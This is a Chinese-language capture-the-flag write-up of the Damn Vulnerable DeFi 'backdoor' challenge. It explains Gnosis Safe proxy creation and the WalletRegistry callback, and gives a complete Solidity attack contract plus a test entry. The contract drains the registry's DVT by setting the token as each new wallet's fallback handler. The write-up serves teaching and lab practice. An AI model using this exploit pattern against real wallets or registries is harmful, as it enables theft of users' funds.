跳到主要内容

backdoor

题目链接:https://www.damnvulnerabledefi.xyz/challenges/11.html

题目描述:

为了激励创建更安全的钱包,有人部署了 WalletRegistry 合约。当有人在该合约中注册为受益人并创建 Gnosis Safe 钱包,将获得 10 个 DVT 代币到钱包中

目前有四人登记为受益人:Alice、Bob、Charlie 和 David。WalletRegistry 合约中有 40 个 DVT。

你的目标是从盗取这 40 个 DVT

开始之前你需要先了解 代理合约多签钱包EVM 内存布局Solidity 内联汇编 相关的知识。由于在 我的博客 中都有详细介绍,此处不再赘述。

如果你已经了解了上述内容,接下来就可以正式开始了。

不过在此之前还是需要先介绍下 Gnosis Safe 1.3.0 版本的合约架构。Gnosis Safe 在部署阶段有三个重要的合约

  • GnosisSafeProxyFactory
  • GnosisSafeProxy
  • GnosisSafe

GnosisSafe 是处理多签逻辑的合约,是提前部署好的合约。在以太坊主网上的地址是 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552

当我们在 Gnosis Safe 网站上创建多签钱包时,交互的合约实际上是 GnosisSafeProxyFactory, 该合约会创建并部署 GnosisSafeProxy 代理合约,代理合约的逻辑合约地址是已部署好的 GnosisSafe 合约。所以我们创建的多签钱包实际上是 GnosisSafeProxy 代理合约。

gonsis-proxy

由于采用的这种代理模式,将数据都存储在 GnosisSafeProxy 合约中,有以下优点:

  • 由于多签逻辑是可以复用的,代理模式避免了逻辑合约重复被部署。可以为用户创建多签钱包节省 gas
  • 数据将保存在用户自己创建的钱包中,而不是统一存储在逻辑合约中,做到每个多签钱包的数据和逻辑分离。

GnosisSafeProxyFactory 部署代理合约核心方法是

function deployProxy(
address _singleton,
bytes memory initializer,
bytes32 salt
) internal returns (GnosisSafeProxy proxy) {
require(isContract(_singleton), "Singleton contract not deployed");

bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");

if (initializer.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
}
}

该方法的参数如下:

  • _singleton :已部署的逻辑合约地址
  • initializer :逻辑合约 GnosisSafeProxysetup 方法的 calldata
  • salt :部署合约的 salt 值,长度为 32 字节

函数内部使用了两个内联汇编函数 create2call,你可以在 evm.codes 查看相关的内容。

提示

create2(value, offset, size, salt) 部署一个合约,并返回合约地址

  • value:部署时发送到合约账户 ETH 数量,单位是 wei
  • offset:内存的起始位置
  • size:从起始位置开始的长度
  • salt:部署合约的 salt 值,长度为 32 字节

call(gas, address, value, argsOffset, argsSize, retOffset, retSize) 调用合约方法

  • gas:需要的 gas
  • address:目标合约地址
  • value:调用目标合约转入的 ETH
  • argsOffset:发送的 calldata 在内存的起始位置
  • argsSize:发送的 calldata 的长度
  • retOffset:返回值写入内存的开始位置
  • retSize:返回值的长度

由于 deployProxyinternal,所以 GnosisSafeProxyFactory 合约暴露了以下两个方法供外部调用去创建代理合约

// 通过 nonce 创建代理合约
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
proxy = deployProxy(_singleton, initializer, salt);
emit ProxyCreation(proxy, _singleton);
}

// 创建代理合约并回调 callback 合约的 proxyCreated 方法
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

再回到题目中,合约 WalletRegistry 中继承了 IProxyCreationCallback ,在上面的方法 createProxyWithCallback 有这样一行代码

if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);

callback 存在时,调用其 proxyCreated 方法。即如果 callbackWalletRegistry 中则调用其 proxyCreated 方法:

function proxyCreated(
GnosisSafeProxy proxy, // 代理合约
address singleton, // 逻辑合约地址
bytes calldata initializer, // 初始化的数据
uint256
) external override {
// 确保合约有 10个 DVT
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
// 获取钱包地址
address payable walletAddress = payable(proxy);

// 确保调用者是 GnosisSafeProxyFactory
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");

// 确保 initializer 前四个字节是 GnosisSafe.setup 函数的 selector
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");

// 获取钱包的所有者
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
// 确保 owner 是受益人(只有受益人才能是钱包的所有者)
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

// 取消owner作为受益人
_removeBeneficiary(walletOwner);

// 记录 owner 拥有的钱包地址
wallets[walletOwner] = walletAddress;

// 转入10DVT 到多签钱包中
token.transfer(walletAddress, TOKEN_PAYMENT);
}

到目前为止可以做个总结:

  • WalletRegistry 合约可以添加受益人地址,受益人可以创建多签钱包,并将 10 个 DVT 转到钱包地址中
  • 创建多签钱包需要调用 GnosisSafeProxyFactory 合约的 createProxyWithCallback 方法
    • 调用 createProxyWithCallback 可以传入 callback 用来回调 proxyCreated 方法
    • 创建钱包的过程中如果存在 initializer ,则会调用。

目前有四个受益人,所以可以创建四个多签钱包,每个钱包中有 10 个 DVT

目标是从多签钱包中取出这些 DVT。但是我们并不是钱包的所有人,因此要想办法可以转移 DVT 到自己的账户中。

关键还是在于 initializer 的值。前面提到过 initializer 是逻辑合约 GnosisSafesetup 方法的 calldata,创建钱包时会调用该方法, setup 方法的实现如下

function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);

if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

方法参数:

  • _owners:钱包所有者们
  • _threshold:发起交易时,最少需要同意的人数
  • to:执行 delegtecall 合约地址
  • data:执行 delegtecallcalldata
  • fallbackHandler:调用不存在的方法时的处理合约
  • paymentToken:支付的 token 地址
  • payment:支付额
  • paymentReceiver:支付的接收人

fallbackHandler 是一个合约地址,当我们调用不存在的方法时会调用 fallbackHandler 中的同名方法,如调用 transfer 时, GnosisSafe 中没有此方法,故会调用 fallbackHandler.transfer。因此可以将 fallbackHandler 设置为 DVT 合约的地址。并传入相关参数。

以下是攻击合约 BackdoorAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";

import "../backdoor/WalletRegistry.sol";

interface IGnosisSafe {
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external;
}

contract BackdoorAttack {
constructor (
address registry,
address masterCopy,
GnosisSafeProxyFactory walletFactory,
IERC20 token,
address[] memory beneficiaries
) {
// 遍历受益人, 创建钱包
for (uint i = 0; i < beneficiaries.length; i++) {
address beneficiary = beneficiaries[i];
address[] memory owners = new address[](1);
owners[0] = beneficiary;

bytes memory initializer = abi.encodeWithSelector(
IGnosisSafe.setup.selector, // setup 方法的 selector
// 以下是 setup 方法的参数
owners, // _owners
1, // _threshold
address(0), // to
hex"00", // data
address(token), // fallbackHandler
address(0), // paymentToken
0, // paymentToken
address(0x0) // paymentReceiver
);

// 创建钱包
GnosisSafeProxy proxy = walletFactory.createProxyWithCallback(
masterCopy, // 逻辑合约地址
initializer, // setup calldata
0, // saltNonce
WalletRegistry(registry) // callback
);
address wallet = address(proxy);

// 调用钱包(代理合约)的 transfer 方法,相当于调用逻辑合约的 transfer 方法。即相当于调用 fallbackHandler.transfer,也即 token.transfer
IERC20(wallet).transfer(msg.sender, token.balanceOf(wallet));
}
}
}

在测试文件 backdoor.challenge.js 添加攻击入口

it('Exploit', async function () {
await ethers
.getContractFactory('BackdoorAttack', attacker)
.then((contract) =>
contract.deploy(
this.walletRegistry.address,
this.masterCopy.address,
this.walletFactory.address,
this.token.address,
users
)
)
})

最后执行 yarn backdoor 测试通过!

完整代码